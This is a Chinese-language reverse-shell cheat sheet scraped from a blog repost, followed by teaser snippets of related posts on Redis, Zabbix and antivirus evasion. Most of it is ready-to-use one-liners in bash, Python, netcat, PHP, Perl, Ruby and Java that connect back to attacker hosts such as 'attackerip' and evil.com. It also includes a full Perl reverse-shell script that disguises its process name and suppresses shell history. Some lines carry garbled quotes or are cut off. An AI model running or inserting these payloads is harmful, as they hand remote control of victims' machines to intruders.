反弹shell备忘录

反弹shell备忘录

简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

接受端运行

nc -lvp port

bash

bash -i >& /dev/tcp/ip/port 0>&1

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip‘,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"
python -c "import pty;pty.spawn(‘/bin/bash‘)" python反弹标准shell
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((‘127.0.0.1‘,9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

nc

nc -e /bin/bash 192.168.1.146 7777 #不是所有版本都支持 -e参数

不支持-e参数的时候

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

php

php -r ‘exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");‘
php -r ‘$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");‘

exec

exec 5<>/dev/tcp/evil.com/8080

prel

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell.  Change these.
my $ip = ‘127.0.0.1‘;
my $port = 1234;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{‘REMOTE_ADDR‘})) {
    cgiprint("Browser IP address appears to be: $ENV{‘REMOTE_ADDR‘}");

    if ($auth) {
        unless ($ENV{‘REMOTE_ADDR‘} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn‘t authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn‘t determine your IP address.  Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir(‘/‘);
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname(‘tcp‘));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn‘t open reverse shell to $ip:$port: $!");
    cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{‘HISTFILE‘} = ‘/dev/null‘;
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don‘t give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
perl -e ‘use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘

ruby

ruby -rsocket -e‘f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)‘

不依赖/bin/bash

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘

Windows

ruby -rsocket -e ‘c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end‘

JAVA

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

原文地址:https://www.cnblogs.com/8gman/p/12303810.html

时间: 2024-10-18 16:18:18

反弹shell备忘录的相关文章

JS探测内网是否存在bash漏洞,反弹shell

来t00ls几天啦,也没时间写原创. --(本人首发土司啦.) 最近看到老外一篇文章,觉得很不错. 测试了一下把这个东西把过程分享给大伙,希望大伙不要踩,忙完这几天就写原创 调用一个js,扫描内网是否存在bash漏洞,然后反弹shell回来的一个小东西.搞APT应该用得到啦. 测试过程: 老外发的一个Poc我内网搭建测试 先监听了本地250端口 然后搭建之后访问 1 http://192.168.1.9/test.html?s=192.168.1.1&e3=1&e4=20&d=19

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 [email protected]:~# nc 192.168.12.109 2222 -e /bin/bash 反弹shell成功后即可在windows的cmd.exe下执行Linux下的/

Python3实现——反弹shell

一.演示一下反弹shell的效果 0.看一下python版本 1.我们这边是服务端 客户端连接后就可以输入命令了,比如下面截图中输入的pwd 2.目标机是客户端,输入ip和端口 二.代码+注释 0.服务端 1.客户端

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

Python 反弹shell后门用51CTO Blog绑定

前言:仅做交流,仅做交流. 除了51CTO当然也可以用其他的媒介啦,比如微博,微信等.这里就用51CTO吧 思路:存在这样的一个情况,我们在某台机器上放置一个木马~~~里面我们会写入自己服务端的IP,但是可能我们的IP会变,我们当然可以用域名解决这个问题,不过那样显得不是很优雅,而且域名要钱的啦~~~所以我们需要一个中间件! 在说说什么是反弹Shell,反弹shell的好处在于被攻击的主机可能限制了进口,即只允许某个端口的链接,其他链接都屏蔽,这个时候我们就需要被攻击的主机主动来连我们的服务器,

Redis未授权访问反弹shell

目标主机:10.104.11.178 攻击机:kali 攻击步骤: 1.与目标主机连接 [email protected]:~# /usr/redis/redis-cli -h 10.104.11.178 2.kali主机进行监听 nc -l -v -p 9999 3.写入反弹shell语句 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.104.11.153/9999 0>&1\n\n" config

Zabbix sql注入漏洞脚本执行反弹shell

exp检测是否存在SQL注入漏洞[email protected]:~# python zabbix.py http://ip:9090/+------------------------------------------------------------+ Python Zabbix<3.0.4 SQL注入 Exploitsuccess+------------------------------------------------------------+Zabbix 存在SQL注入漏洞

redis未授权反弹shell

rt发现一处redis未授权,进行反弹shell.输入反弹命令:主机监听端口:反弹成功. 原文地址:https://blog.51cto.com/13539934/2395206

分享一个免杀的反弹shell工具(python脚本转换成exe)

有时候网站服务器上有杀毒软件,我们上传的nc.exe.lcx.exe等工具都被杀了,这时候就需要一款免杀的工具来反弹shell. 这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序即可免杀. 参考链接:https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1 第1步:安装Python2.7和Py2exe 一定要安装32位的Python 2.7和32位的P